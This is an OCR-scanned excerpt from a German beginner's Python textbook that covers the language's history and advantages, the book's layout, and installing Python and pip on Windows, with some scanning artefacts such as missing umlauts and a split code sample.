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1 EinfUhrung

Was ist eigentlich Python? Warum ist diese Programmiersprache so
beliebt? Weshalb solltest du gerade Python lernen, wenn du schnell in die
Programmierung einsteigen mochtest? In diesem Kapitel werden alle deine
Fragen beantwortet. Zudem erfahrst du etwas Uber den Aufbau dieses
Buchs und wie dir diese Struktur beim Lernen helfen kann.

1.1 Was ist Python?

Am Anfang steht die Frage aller Fragen: Was ist Python? Fir die meisten
Menschen, die nicht in der IT-Welt unterwegs sind, handelt es sich bei
Python um eine Schlangenart. Wenn man sich das Logo der
Programmiersprache anschaut, dann kann man darin zwei ineinander
verschlungene Schlangen erkennen:

Abbildung 1.1.1: Python Logo

Der Ursprung des Namens ist allerdings nicht bei der Schlange zu finden.
Guido van Rossum, ein niederlandischer Programmierer, der Python zu
Beginn der 1990er Jahre entwickelt hat, war ein grolRer Fan der britischen
Comedy-Truppe Monty Python, die u. a. fur die Filme ,Die Ritter der
Kokosnuss“ oder ,,Das Leben des Brian“ bekannt sind. Moment? Ist Python



etwa schon Uuber dreiRig Jahre alt? Ja! Aufgrund des Hypes der
vergangenen Jahre konnte bei vielen der Eindruck entstanden sein, dass
Python eine ,,neue” Programmiersprache sei, doch in Wahrheit gibt es sie
sogar schon langer als Java, das 1995 erschienen ist. Zu der Zeit, als Guido
van Rossum Python entwickelt hat, war er noch am Zentrum fir
Mathematik und Informatik in Amsterdam beschaftigt. Hier wurde die
Lehrsprache ,ABC” verwendet, die als Vorlaufer von Python angesehen
werden kann. Diese hatte jedoch eine sehr komplexe Standardbibliothek,
die nicht wirklich erweiterbar war. Python selbst wurde dem Gedanken von
»ABC“ folgend ebenfalls als Lehrsprache konzipiert, damit Einsteiger es
besonders leicht haben, ihren Weg in die Programmierung zu finden. Was
konnte sich also besser zum Programmierenlernen eignen als eine
Programmiersprache, die extra dafur entwickelt wurde? Was genau Python
so einfach macht, erfahrst du in Kapitel 1.2.

Python ist eine Skript-Programmiersprache, die interpretiert wird. Sie
unterstitzt die Ublichen Programmierparadigmen wie bspw. die
objektorientierte, die funktionale oder prozedurale Programmierung.
Nachdem Python Anfang der 1990er Jahre in der Version 1.0 erschienen
ist, wurde im Jahr 2000 die Version 2.0 veroffentlicht und fortan
kontinuierlich weiterentwickelt. Die bis heute aktuellste Version von
Python 2 ist die Version 2.7, die im Jahr 2010 an den Start ging. Parallel zur
Weiterentwicklung von Python 2 wurde im Jahr 2008 Python 3.0
veroffentlicht. Mit Python 3 sollte u. a. die Syntax weiter vereinfacht und
Redundanzen bzw. Wiederholungen im Code verringert werden. Viele
grolle Unternehmen wie bspw. Meta sind von Python 2 auf Python 3
umgestiegen. Bei der Plattform Instagram entschied man sich 2017 fir
einen nahezu vollstandigen Wechsel auf Python 3. Ein Grund dafiir war die
Unterstitzung der statischen Typisierung in Python 3.5, wodurch man
einige Konflikte, die im Laufe der Entwicklung und auch beim Lernen einer
Programmiersprache entstehen, vermeiden kann. Zudem wird mit jeder
neuen Version die Laufzeitumgebung optimiert und auch die Community
schwenkt immer mehr auf Python 3 um. Das liegt vor allem daran, dass die
Python Software Foundation, die hinter dem Open-Source-Projekt der
Programmiersprache Python steht, seit dem 01.01.2020 keine
Veranderungen mehr an Python 2 in seiner finalen Version 2.7 vornimmt.



Kurzum: Python 2 ist von uns gegangen, doch es lebt in vielen Systemen
weiter, bis es irgendwann einmal migriert wird. Um Python 2 nicht
kiinstlich am Leben zu halten und um moglichst aktuell zu sein, lernst du in
diesem Buch, wie man mit Python 3 programmiert.

1.2 Warum gerade Python lernen?

Wenn man am Anfang seiner Programmierkarriere steht, dann kommt
natirlich recht frih die Frage auf, mit welcher Programmiersprache man
starten soll. Doch selbst dann, wenn einen die Karriereplanung nicht ins IT-
Umfeld fihrt, wird man in unserer zunehmend digitalisierten Welt
sicherlich schon einmal Uber diese Frage gestolpert sein. Dabei sticht eine
Programmiersprache immer wieder hervor, namlich Python. Warum
gerade Python? Selbst Personen, die eigentlich nicht selbst programmieren
konnen oder andere fir sich programmieren lassen, haben schon einmal
davon gehort. Warum ist das so?

1.2.1 Python ist einfach zu erlernen

Wenn man z. B. Java oder C++ lernt, wird man schnell feststellen, dass
selbst fur einfache Ausgaben viele Zeilen Code notwendig sind, die man am
Anfang nicht wirklich versteht. Man muss sich bei jeder
Programmiersprache auf eine bestimmte Denkweise einlassen, die je nach
Sprachtyp nicht immer alltagstauglich ist. Python bietet hier teilweise eine
Ausnahme, da die Syntax, also die Art, wie man in der Sprache
programmiert, sehr leicht wund intuitiv ist. Selbst erfahrenen
Programmierern passieren wahrend ihrer Arbeit haufig Syntaxfehler, die
ohne passende Entwicklungsumgebungen zeitraubende Verbesserungen
erfordern kénnen. Python ist da anders und kommt gerade Einsteigern mit
einer sehr einfachen Syntax, ohne Semikola und sonstigem Brimborium,
entgegen. Auch die Anzahl der Keywords ist im Vergleich zu anderen
Programmiersprachen Uberschaubar. Wenn man der englischen Sprache
machtig ist, wird man viele Teile des Quellcodes dhnlich wie einen Text
lesen konnen, nur eben in sehr stark komprimierter Form.



Auch bei den Datentypen von Variablen fiihrt sich Python nicht wie ein
verklemmter Oberstudienrat auf. Der Verzicht auf die Variablendeklaration
bietet viele Freiheiten, wie etwa den Wechsel des Datentyps im
Programmverlauf.! In Java muss man bei der Geburt einer Variable direkt
ihren Datentyp festlegen und kann diesen spater nicht einfach andern:

1 String name = "Florian";

2 name = 42

Der Code in Zeile 2 fihrt zu einem Fehler, weil 42 eine Zahl und keine
Zeichenkette ist. In Python ware dieser plotzliche Wechsel des Datentyps
hingegen kein Problem, weil man hier bei der Variablendefinition keinen
Datentyp festlegen muss:

1 name = "Florian";

42

2 name

Diese dynamische Typzuweisung kann aber zu Problemen an anderer Stelle
fihren, auf die wir in Kapitel 4 genauer eingehen werden.

1.2.2 Viele (beginnerfreundliche) Projekte

Man kann mit Python schon nach kurzer Zeit groBere Projekte umsetzen.
Viele mochten so schnell wie moglich die Frichte ihrer Arbeit sehen. Durch
entsprechende Bibliotheken kann man ohne wochenlange Vorarbeit
schnell sichtbare Ergebnisse produzieren. Das wirst du in Kapitel 12 sehen,
denn dort begeben wir uns in die Projektwerkstatt und bauen gemeinsam
zwolf richtig coole Projekte.

1.2.3 Die Bibliothek von Pylexandria

Hast du schon einmal von der ,,Bibliothek von Alexandria® gehort? Das war
die bedeutendste Bibliothek der Antike und sie bot einen immensen
Wissensschatz. So einen Wissensfundus gibt es auch in Python, doch
anders als das agyptische Vorbild aus dem dritten Jahrhundert v. Chr., gibt
es ihn heute noch. Python lebt. Wir reden hier von tausenden Codezeilen,



die jedem Python-Entwickler von Anfang an zur Verfligung stehen. Bereits
mit der Standardbibliothek (Kapitel 11.2) kénnen sehr viele Wiinsche
erflllt werden. Doch das ist noch langst nicht alles. Mit OpenCV kannst du
bspw. eine Vielzahl an Bildoperationen durchfiihren und dir auf sehr
einfache Art und Weise Photoshop-ahnliche Bildfilter programmieren.
NumPy und Pandas werden haufig im Data-Science-Umfeld eingesetzt. Mit
PyGame kannst du eigene Spiele programmieren, ohne jedes Mal das Rad
neu erfinden zu missen. Mit Tkinter lassen sich relativ leicht die bereits
angesprochenen graphischen Oberflaichen umsetzen. Zudem gibt es
zahlreiche Frameworks, mit denen auch Webseiten entwickelt werden
konnen. Dazu zahlen Flask und Django. Die Liste lieRe sich ewig fortsetzen.

1.2.4 Zahlreiche Anwendungsgebiete

Mit Python lassen sich viele verschiedene Bereiche abdecken. Egal, ob
Spieleentwicklung, Ethical Hacking oder Data-Science. Auch das
momentane Hype-Thema Deep Learning ist durch das Framework
TensorFlow vertreten und motiviert viele, sich mit Python zu beschaftigen.
Es gibt daneben noch viele weitere Anwendungsgebiete, in denen die
Programmiersprache glanzen kann, doch das findest du mit der Zeit selbst
heraus. Mit PyScript ist im Frihjahr 2022 ein weiteres Schmankerl
hinzugekommen, das die komfortable Verwendung von Python im Browser
ermoglicht. In dem folgenden Video erfahrst du mehr zu diesem Thema:

https://florian-dalwigk.com/python-einsteiger/was_ist_pyscript


https://florian-dalwigk.com/python-einsteiger/was_ist_pyscript

1.2.5 Riesige Community

Hinter Python steht eine riesige internationale Community, die an einer
standigen Weiterentwicklung und Optimierung interessiert ist. Wenn du
Fragen haben solltest, kann ich dir versichern, dass du damit picht alleine
gelassen wirst und auf eine Vielzahl an Ressourcen zurlickgreifen kannst.
Dazu zdhlen z. B.

» stackoverflow.com,
» reddit.com und
= python-forum.de.

Die meisten von den Fragen, die du dir am Anfang deiner
Programmierreise stellst, haben sich schon viele andere vor dir gestellt und
deshalb wirst du fir so ziemlich jedes Python-Problem eine Antwort
finden.

1.2.6 Niedrige Einstiegshiirde

Bei anderen Programmiersprachen, wie bspw. C, sollte man bereits Wissen
Uber den Aufbau eines Speichers, den Stack, Register, Pointer usw.
mitbringen oder zumindest die Bereitschaft zeigen, sich mit diesen Themen
auseinanderzusetzen. Du ahnst es schon: Bei Python ist das nicht so. Das,
was du dir denkst, kannst du einfach sorglos in eine Textdatei schreiben, sie
als .py-Datei abspeichern und der Python-Interpreter Gbernimmt dann
den Rest fur dich. Dadurch gehen einem aber ein paar Freiheiten verloren,
die einen als Neuling aber auch nicht unbedingt interessieren mussen.
Generell reicht fur die Python-Entwicklung ein handelsiblicher Computer
unter 300€. Wenn du dir die nétigen Werkzeuge nicht direkt auf deinem
Rechner installieren kannst oder mochtest, ist es sogar moglich, auf Web-
Ressourcen zurilickzugreifen und ausschlielich online zu entwickeln. Selbst
auf dem iPad kann man mit der App ,Pythonista 3“ Python-Programme
schreiben. In dem folgenden Video stelle ich diese App vor:



https://stackoverflow.com/questions/tagged/python
https://www.reddit.com/r/Python/
https://www.python-forum.de/

https://florian-dalwigk.com/python-einsteiger/python_auf dem_ipad

1.2.7 Sehr gute Jobaussichten

Wenn man die gangigen Job-Borsen durchforstet, dann wird man
feststellen, dass die Nachfrage an Python-Entwicklern sehr hoch ist, was
wiederum einen Einfluss auf die Popularitat innerhalb der Entwickler-
Community hat. Quasi alle FANG-Unternehmen? suchen Python-Entwickler
und vertreten nicht selten die Auffassung ,,Use Python where you can and
C++ where you must“.?® Dementsprechend hoch sind auch die Gehilter, die
in diesem Bereich gezahlt werden. Der Bedarf wird in Zukunft vermutlich
noch weiterwachsen, wodurch die Wahrscheinlichkeit, dass du mit guten
Python-Kenntnissen arbeitslos wirst, sehr gering ist.

1.3 Was erwartet dich in diesem Buch?

Jetzt bist du sicherlich schon gespannt, wie ich dir mit diesem Buch die
Programmiersprache Python beibringen mochte, oder? Anders als bei den
meisten ,,gedruckten Tutorials” erwartet dich hier ein abwechslungsreicher
Mix aus Textpassagen, Code-Schablonen, vielen Beispielen, Videos und
Praxisibungen. Aber alles der Reihe nach.

In den Textpassagen wird dir, wie in einem handelstiblichen Lehrbuch, ein
Sachverhalt mithilfe von Worten erklart. Ein Buch, in dem es um das
Erlernen einer Programmiersprache geht, unterscheidet sich jedoch in
mehr als einer Hinsicht von klassischer Belletristik. Deshalb ist es wichtig,
sich diesen besonderen Anforderungen anzupassen und deshalb habe ich


https://florian-dalwigk.com/python-einsteiger/python_auf_dem_ipad

eine eigene Formatierung entworfen, die dir das Lesen erleichtern soll. Ein
Kapitel wird fett gedruckt und unterstrichen. Dasselbe gilt auch fir
Beispiele. Die Nummern hinter Kapiteln und Beispielen helfen dir dabei,
sie schnell im Buch nachzuschlagen. Auch Abbildungen und Tabellen
werden nummeriert. Code und Sprachelemente von Python werden in
einer Schriftart notiert, die wie Quellcode aussieht. Wenn also
von dem Keyword and, im Code verwendeten Variablen oder einer
if-Anweisung die Rede ist, dann findest du (auch im FlieBtext)
entsprechende Schriftartenwechsel. Apropos Code: Wenn etwas
programmiert wird, dann findest du bei langeren Passagen entsprechende
Zeilennummern am Anfang:

1 print ("Hallo Welt!")
2 zahl = 42

Diese werden, wenn es sich um zusammenhangende Codestiicke handelt,
auch Uber eingeschobene Textpassagen hinweg logisch fortgefiihrt:

3 print (f"Die Antwort lautet {zahl}!")

Das wird dir vor allem in der Projektwerkstatt in Kapitel 12 weiterhelfen.
Wenn innerhalb des Textes auf eine Codezeile, z. B. die Variable zahl in
Zeile 2, hingewiesen wird, dann ist dieser Verweis fett gedruckt. Das hilft
dir dabei, auf Anhieb die wichtigen Codezeilen unter dem ganzen
Geschreibsel zu finden. Wird in einer Code-Passage mal keine
Zeilennummer angegeben, dann handelt es sich entweder um einen
Befehl, der in die Eingabeaufforderung geschrieben wird, um eine
Fehlermeldung oder um eine Code-Schablone.

Mit den Code-Schablonen werden dir Werkzeuge an die Hand gegeben, die
dich beim Programmieren unterstiitzen sollen. Dadurch bekommst du ein
besseres Gespur dafur, wie ein neues Programmierkonzept, bspw. eine
for-Schleife (Kapitel 9.3), umgesetzt wird. Das konnte dann

folgendermalien aussehen:

for <Variable> in <Sequenz>:



<Anweisung 1>
<Anwelsung 2>

<Anweilsung n>

Im Regelfall schlieBen daran dann Beispiele an, die dir zeigen, wie die
Code-Schablone praktisch angewendet werden kann. Beispiel gefallig?

Beispiel 1.3.1: Um eine for-Schleife zu verwenden, ersetzt du
<Variable> durch einen passenden Variablennamen und <Sequenz>

durch eine Datenstruktur (Kapitel 8) oder einen lterator. Dahinter werden
dann einzelne <Anweisungen> eingedriickt:

1 for zahl in range (10) :
2 print(zahl)

Ein Bild sagt mehr als tausend Worte. Und ein Video mit 30 FPS* sagt sogar
noch dreiBigmal mehr pro Sekunde aus. Deshalb habe ich dir fir
Sachverhalte, die sich in einer Animation leichter erkldren lassen, Videos
erstellt, die Gber einen QR-Code verlinkt sind:

https://florian-dalwigk.com/python-einsteiger/playlist_mit_python_videos

Diesen QR-Code kannst du bspw. mit deinem Smartphone einscannen und
gelangst dann zu einem Video auf meinem oder einem anderen YouTube-
Kanal. Vor allem bei den Installationsanleitungen (Kapitel 2) bietet sich so
etwas sehr gut an. Viele der Videos auf meinem Kanal habe ich exklusiv fir



https://florian-dalwigk.com/python-einsteiger/playlist_mit_python_videos

dich als Leser dieses Buches produziert. Manchmal werden Uber die
verlinkten Videos bestimmte Inhalte vertieft, die fiir ein Einsteigerbuch zu
komplex waren. Es kann sich aber auch um Zusammenfassungen eines
Kapitels handeln. Hinter jedem QR-Code steckt also eine kleine
Uberraschung. In den Videos arbeite ich mit dem Editor Visual Studio
Code. In dem folgenden Video zeige ich dir Schritt fur Schritt, wie du ihn dir
installieren kannst:

https://florian-dalwigk.com/python-einsteiger/visual_studio_code_installieren

Ich weil} aus Erfahrung, wie nervig und zeitraubend es sein kann, Code-
Beispiele und Projekte erst abtippen zu missen. Das kostet nur deine
wertvolle Zeit und bringt einen bedingt bis gar nicht weiter. Deshalb kannst
du dir alle Beispiele, Projekte und Lésungen zu den Ubungsaufgaben {ber
den folgenden QR-Code ganz einfach herunterladen:

https://florian-dalwigk.com/python-einsteiger/python_code_download


https://florian-dalwigk.com/python-einsteiger/visual_studio_code_installieren
https://florian-dalwigk.com/python-einsteiger/python_code_download

Das Passwort flr die ZIP-Datei lautet: PythonFiirEinsteiger2022

Zu allen Ubungsaufgaben in diesem Buch habe ich zusatzlich zu den
Losungsdateien auch Videol6sungen erstellt, die du in den entsprechenden
Kapiteln als QR-Code verlinkt findest.

Da man mit dem Lernen einer neuen Programmiersprache schon genug zu
kampfen hat, habe ich mich bewusst dazu entschieden, die
Variablennamen auf Deutsch zu benennen. Statt answer heilt eine
Variable dann eben antwort oder passwort statt password. Ich habe
in meiner Zeit als Dozent an der Volkshochschule und auf YouTube
gemerkt, dass das von den Schilern gut aufgenommen wird.
Normalerweise wird in der Welt der Programmierung Englisch gesprochen,
doch in diesem Lehrbuch méchte ich es mal mit Deutsch versuchen. Ich
hoffe, du verzeihst mir :) Eine Ausnahme gibt es nur bei Namen, die ein
ungeschriebenes Gesetz in der Python-Community sind, wie etwa self
und other.

Nach diesem kurzen Infodump zur Frage, wie dieses Buch aufgebaut ist und
wie du am besten damit lernen kannst, entlasse ich dich nun endlich in
dein Coding-Abenteuer.

Ich wiinsche dir viel SpaR beim Lesen und Lernen!

_:R_OFL v _JQRJFQ’ QDC.,(I-TL%



Fiir meine Robbe.



2 Python und pip installieren

Um in Python programmieren zu kdnnen, brauchst du nicht viel. Es reicht
bereits ein einfacher Texteditor und der Python-Interpreter. Was der
Python-Interpreter ist, erfahrst du in Kapitel 3.2. Eine bestimmte
Entwicklungsumgebung wie ,PyCharm“ wird fir dieses Buch nicht
benotigt, da du dich hier voll und ganz auf die Grundlagen der
Programmiersprache konzentrieren sollst. Damit du keine Probleme bei der
Installation von Paketen bekommst, erfahrst du auBerdem, wie du dir den
Paketmanager pip besorgen und verwenden kannst.

2.1 Python installieren

Lade dir zuerst den sogenannten Python-Interpreter herunter. Gehe dafir
auf die Webseite

https://www.python.org/

& python’ o I B -

About Downloads Documentation Community Success Stories News Events

Compound Data Types

Lists (known as arrays in other languages) are one of the
compound data types that Python understands. Lists can be
indexed, sliced and manipulated with other built-in

functions. More about lists in Python 3
[ "BANANA®, "APPLE', ‘LIME'] —_—_—

[(e, 'Banana’), (1, 'Apple’), (2, 'Lime’)]

Abbildung 2.1.1: https://www.python.org


https://www.python.org/
https://www.python.org/

Klicke auf den Reiter Downloads direkt zwischen den beiden
Menulpunkten About und Documentation. Danach wird eine neue
Seite geladen, auf der du einen Button Download Python 3.10.5
findest. Die Zahl 3.10.5 ist die sogenannte Versionsnummer. Diese wird
sich mit der Zeit andern, weil kontinuierlich neue Python-Versionen
herausgebracht werden, in denen Fehler behoben und zusatzliche Features
eingebaut werden. 3.10.5 ist die Version, mit der wir in diesem Buch
arbeiten werden.

e python’ -

About Downloads Documentation Community Success Stories News Events

Download the latest version for Windows

Download Python 3.10.5

Looking for Python with a different 0S? Python for Windows,
Linux/UNIX, macOS, Other

Want to help test development versions of Python? Prereleases,

Docker images

Looking for Python 2.7? See below for specific releases

Abbildung 2.1.2: Download-Seite fiir Python unter Windows

Klicke auf den Download-Button und warte, bis die . exe-Datei vollstandig
heruntergeladen wurde. Fihre anschlieRend einen Doppelklick auf der
Datei durch. Nach einer kurzen Wartezeit offnet sich der folgende
Installationsdialog:



©» Python 3.10.5 (64-bit) Setup = X

Install Python 3.10.5 (64-bit)

Select Install Now to install Python with default settings, or choose
Customize to enable or disable features.

% Install Now
C\Users\User\AppData\Local\Programs\Python\Python310

Includes IDLE, pip and decumentation
Creates shortcuts and file associations

—> Customize installation
Choose location and features

python

for Install launcher for all users (recommended)

windows Add Python 3.10 to PATH Cancel

Abbildung 2.1.3: Installationsdialog von Python

Achte darauf, dass der Haken bei Add Python 3.10 to PATH gesetzt
ist. Dadurch wird der Pfad zum Python-Interpreter direkt der
Systemumgebungsvariable PATH hinzugefliigt. Was soll das denn
bedeuten? Ganz einfach! Der Python-Interpreter ist im Endeffekt auch nur
ein Programm, das auf deinem Rechner lauft. Damit du nicht jedes Mal in
das Installationsverzeichnis wechseln musst, wenn du Python verwenden
mochtest, ist es sinnvoll, den Pfad in die sogenannte Umgebungsvariable
einzufigen. So kannst du den Python-Interpreter von Uberall aus aufrufen,
indem du den Befehl python verwendest. Dazu spater mehr. Klicke, wenn
alles wie in Abbildung 2.1.3 eingestellt ist, auf Install Now. Die
Installation kann jetzt ein paar Minuten in Anspruch nehmen. Wenn alles
geklappt hat, dann solltest du das folgende Fenster sehen:




& Python 3.10.5 (64-bit) Setup -
Setup was successful

New to Python? Start with the online tutorial and
documentation. At your terminal, type "py" to launch Python,
or search for Python in your Start menu.

See what's new in this release, or find more info about using
Python on Windows.

% Disable path length limit
Changes your machine configuration to allow programs, including Python, to
bypass the 260 character "MAX_PATH" limitation.

python
for
windows  Close

Abbildung 2.1.4: Die Installation war erfolgreich

Mit einem Klick auf den Button Close unten rechts kannst du den
Installationsdialog schliel3en.

Jetzt testen wir, ob die Installation erfolgreich war. Klicke dafiir gleichzeitig
auf die Windowstaste und R. Dann erscheint das folgende Fenster:




= Ausfuhren X

=] Geben Sie den Namen eines Programms, Ordners,
—= Dokuments oder einer Internetressource an.

Offnen: | [duls! v

OK Abbrechen | Durchsuchen...

Abbildung 2.1.5: AUSFUHREN-Fenster

Hier gibst du cmd ein und klickst auf den Button QK. Auf deinem Rechner

sollte jetzt ein schwarzes Fenster aufgegangen sein. Das ist die
Eingabeaufforderung bzw. Command Prompt, in der bei mir bspw.

Folgendes steht:

Microsoft Windows [Version 10.0.19043.1586]
(c) Microsoft Corporation. Alle Rechte vorbehalten.
C:\Users\flo>

In der ersten Zeile wird die genaue Versionsnummer deines Windows-
Systems genannt und direkt darunter findet sich ein Copyright-Vermerk
von Microsoft. Wichtig ist die unterste Zeile. Dort kannst du deinem
Rechner Befehle geben, die dann ausgefiihrt werden. Tippe dort einfach
mal

python -V

oder

python --version



ein und drucke die ENTER-Taste. Wenn die Installation erfolgreich war und
der Speicherort des Python-Interpreters korrekt in die PATH-Variable

eingebunden wurde, dann misste dort jetzt die folgende Ausgabe
erscheinen:

python 3.10.5

Die Versionsnummer hinter der Ausgabe python kann bei dir anders sein.
Es kommt darauf an, welche Python-Version du installiert hast.

Herzlichen Glickwunsch! Du bist jetzt startklar. Falls du dir die Installation
noch einmal als Video anschauen willst, dann scanne diesen QR-Code:

https://florian-dalwigk.com/python-einsteiger/python_installation_windows

Wenn du die die Fehlermeldung

Der Befehl "python" ist entweder falsch geschrieben oder
konnte nicht gefunden werden.

erhaltst, dann hast du vermutlich vergessen, den Haken bei Add Python
3.10 to PATH (Abbildung 2.1.3) zu setzen. Keine Sorge! Auch das
bekommen wir geldst. Schau dir dazu am besten das folgende Video an, in

dem ich jeden Schritt, der zum manuellen Andern der Umgebungsvariable
PATH erforderlich ist, vorfiihre:



https://florian-dalwigk.com/python-einsteiger/python_installation_windows

https://florian-dalwigk.com/python-einsteiger/path_variable_manuell_anpassen

Damit ware nun alles installiert, was du zum Programmieren mit Python
bendtigst. Aber wo wird der Python-Code reingeschrieben? Nun, dafir
kannst du einen einfachen Texteditor verwenden, der unter Windows
»Microsoft Editor” bzw. ,,Notepad” heit. Um ihn aufzurufen, klickst du auf
die Windows-Taste unten links am Bildschirm und tippst in das
Suchfeld einfach das Wort editor ein. Dort findest du dann eine

Anwendung mit dem Namen ,,Editor”, auf die du anschlieBend draufklickst.

Fir die im Buch verlinkten Lernvideos verwende ich zum Programmieren
den Editor Visual Studio Code, weil dort Syntax-Highlighting unterstitzt
wird, d. h., Keywords, Variablennamen, Funktionen etc. werden in
unterschiedlichen Farben dargestellt, sodass man als Programmierer den
Code besser lesen kann. In dem folgenden Video zeige ich dir Schritt fur
Schritt, wie du ihn dir unter Windows installieren kannst:

https://florian-dalwigk.com/python-einsteiger/visual_studio_code_installieren
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Die Linux- und macOS-Nutzer fihlen sich bis hierher vermutlich (zurecht)
benachteiligt. Deshalb habe ich zwei Videos erstellt, die auch euch dabei
helfen, die aktuelle Python-Version zu installieren:

(macOS) https://florian-dalwigk.com/python-einsteiger/python_unter_macos_installieren

2.2Wasistpip?

In so ziemlich jeder Programmiersprache ist es erforderlich, Pakete zu
installieren und zu verwalten. Python bildet da keine Ausnahme, zumal
gerade die zusatzlichen Pakete erst viele der in Kapitel 1.2 genannten
Vorteile ermoglichen. Das Management dieser Pakete Ubernimmt in
Python der Paketmanager pip. Dieser umfasst aktuell 380.000 Projekte,

was man auf der offiziellen Webseite


https://florian-dalwigk.com/python-einsteiger/python_unter_linux_installieren
https://florian-dalwigk.com/python-einsteiger/python_unter_macos_installieren

https://pypi.org/

nachlesen kann. Der Name pip ist ein sogenanntes rekursives Akronym,
da die Abkilrzung selbst in der ausgeschriebenen Form auftaucht. pip
steht namlich fur ,pip installs packages”, was zugleich die Aufgabe des

Paketmanagers ziemlich gut auf den Punkt bringt. Das ist so ahnlich wie bei
PHP, was flr ,PHP: Hypertext Preprocessor” steht. Zu Beginn wurde das
Projekt Ubrigens pyinstall genannt.”> Zu pip gibt es zwar Alternativen wie

Conda oder Pipenv, doch da pip am weitesten verbreitet ist, beschranken
wir uns in diesem Buch auf diesen Paketmanager.

2.3 Wichtige pip-Befehle

Der Inhalt dieses Kapitels wirkt am Anfang vielleicht etwas kompliziert.
Keine Sorge, sobald du den Umgang mit der Eingabeaufforderung (CMD)
ein bisschen gelibt hast, ist auch das zu meistern. Sooo wichtig sind die
pip-Befehle fiir dich am Anfang noch nicht.

Die Installation von Paketen mit pip ist denkbar einfach. Alles, was du tun
musst, ist, in der CMD den Befehl

pip install <Paket>

einzugeben. Den Platzhalter <Paket> ersetzt du durch den Namen eines

Pakets, das du installieren mochtest. Wenn du bspw. das unter Data
Scientists sehr beliebte Paket NumPy installieren willst, dann tippst du den
Befehl

pip install numpy

in die CMD ein, driickst die ENTER-Taste und schon wird NumPy, bei
bestehender Internetverbindung versteht sich, heruntergeladen und
vollautomatisch installiert.

Wenn du dich doch dazu entscheiden solltest, dass NumPy nichts fiir dich



ist, kannst du es jederzeit wieder deinstallieren. Auch das funktioniert Gber
pip. Der Befehl lautet allgemein:

pip uninstall <Paket>

Wenn du NumPy wieder deinstallieren mochtest, gibst du also

pip uninstall NumPy

in die CMD ein. Auch pip selbst lasst sich mit pip deinstallieren:
pip uninstall pip

Davon wiirde ich dir allerdings dringend abraten, da du dir pip andernfalls
neu installieren musst.

Neben NumPy ist im Data Science Umfeld auch das Paket Pandas
interessant. Wenn du dir gleich beide Pakete holen mochtest, kannst du sie
direkt mit Leerzeichen getrennt hinter dem Befehl pip notieren:

pip install numpy pandas

So lassen sich beliebig viele Pakete nacheinander mit nur einer Befehlszeile
installieren. Das Hintereinanderschreiben mehrerer Pakete funktioniert
natdrlich auch analog fir die Deinstallation von Paketen:

pip uninstall numpy pandas

Werden mehrere Pakete mit bestimmten Versionen bendtigt, dann tippt
man die fur gewohnlich nicht nacheinander hinter dem Befehl pip ab.
Stattdessen liest man eine Liste mit den gewilnschten Paketen ein.
Angenommen, wir haben eine Textdatei mit dem Namen
requirements.txt® in der die Pakete DateTime, numpy und
pandas mit unterschiedlichen Versionen stehen:

requirements. txt

DateTime==4.4



numpy==1.22.4
pandas==1.4.2

Um diese Datei einzulesen und alle darin enthaltenen Pakete in den
unterschiedlichen Versionen zu installieren, wird der Befehl

pip install -r requirements.txt

verwendet. Achte darauf, dass du dich mit der Eingabeaufforderung in
demselben  Verzeichnis befindest, in dem auch die Datei
requirements.txt liegt, sonst erhdltst du die folgende

Fehlermeldung:

ERROR: Could not open requirements file: [Errno 2] No such file or
directory: 'requirements.txt'

Das bedeutet einfach, dass keine Datei mit dem Namen
requirements. txt gefunden wurde.

Wenn du dir anschauen mdéchtest, welche Pakete du alle via pip installiert
hast, kannst du den Befehl

pip freeze

verwenden, der dir dann alle Pakete auf deinem Rechner
untereinanderschreibt. Das sieht dann bspw. wie folgt aus:

C:\Users\flo>pip freeze
DateTime==4.4
numpy==1.22.4
pandas==1.4.2

Kommt dir das bekannt vor? Richtig, diese Pakete hast du vorhin schon in
der Datei requirements. txt gesehen. Wenn du die Ausgabe von pip

freeze namlich mit einem > in eine Datei mit dem Namen
requirements.txt umleitest, dann kann jeder, der dein Programm
nachbauen mdéchte und dafir bestimmte Pakete bendtigt, sich diese mit



pip install -r requirements.txt

automatisch installieren.

Weitere Optionen, die in pip nutzbar sind, kannst du dir mit dem Befehl
pip -h

oder

pip --help

anzeigen lassen. Wenn du dir die Installation von Paketen via pip und die
verschiedenen Befehle noch einmal in Videoform anschauen modchtest,
dann scanne den folgenden QR-Code:

https://florian-dalwigk.com/python-einsteiger/wie_verwendet_man_pip

2.4 pip installieren

Was passiert bei dir, wenn du in der Eingabeaufforderung den Befehl pip
eingibst? Erscheint dann zufalligerweise die folgende Meldung?

Der Befehl "pip" ist entweder falsch geschrieben oder
konnte nicht gefunden werden.


https://florian-dalwigk.com/python-einsteiger/wie_verwendet_man_pip

Falls ja, dann musst du pip erst noch installieren. Daflir bendtigst du das
Programm get-pip.py. Dieses findest du unter der folgenden Adresse:

https://bootstrap.pypa.io/get-pip.py

Lade dir die Datei herunter und speichere sie bspw. auf dem Desktop oder
dort, wo du Python installiert hast. Zur Installation von pip, musst du das

soeben heruntergeladene Programm ausfiihren. Offne dafiir die CMD und
navigiere zu dem Ort, an dem du get-pip.py abgelegt hast. Dort

angekommen, rufst du mit dem Befehl python den Python-Interpreter

auf und schreibst dahinter den Namen des Programms, das du ausfiihren
mochtest. Welches ist das? Natirlich get-pip.py, mit dem du spater

auf pip zugreifen kannst:

C:\Users\flo>python get-pip.py
Collecting pip
Downloading pip-22.1.2-py3-none-any.whl (2.1 MB)
———————————————————————————————————————— 2.1/2.1 MB 2.7 MB/s eta
0:00:00
Installing collected packages: pip
Attempting uninstall: pip
Found existing installation: pip 22.0.4
Uninstalling pip-22.0.4:
Successfully uninstalled pip-22.0.4
Successfully installed pip-22.1.2

Die Installation kann ein bisschen dauern. Um zu Uberprifen, ob alles
geklappt hat, o6ffnest du die Eingabeaufforderung und tippst dort den
Befehl pip ein. Wenn du jetzt Informationen dariiber erhaltst, wie pip zu

verwenden ist, dann bist du startklar:

C:\Users\flo>pip
Usage:
pip <command> [options]

Falls du dir die Installation von pip unter Windows noch einmal als Video
anschauen willst, dann scanne diesen QR-Code:



https://florian-dalwigk.com/python-einsteiger/pip_unter_windows_installieren

Fir die macOS- oder Linux-Nutzer unter euch gibt es hier die
entsprechenden Installationsanleitungen in Videoform:

https://florian-dalwigk.com/python-einsteiger/pip_unter_macos_installieren
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3 Das erste eigene Python-Programm

Nachdem du nun alle fir die Entwicklung notwendigen Programme
installiert hast, wirst du in diesem Kapitel endlich dein erstes eigenes
Python-Programm schreiben. Zuerst beschaftigen wir uns aber mit der
Frage, was Programme Uberhaupt sind und was Algorithmen damit zu tun
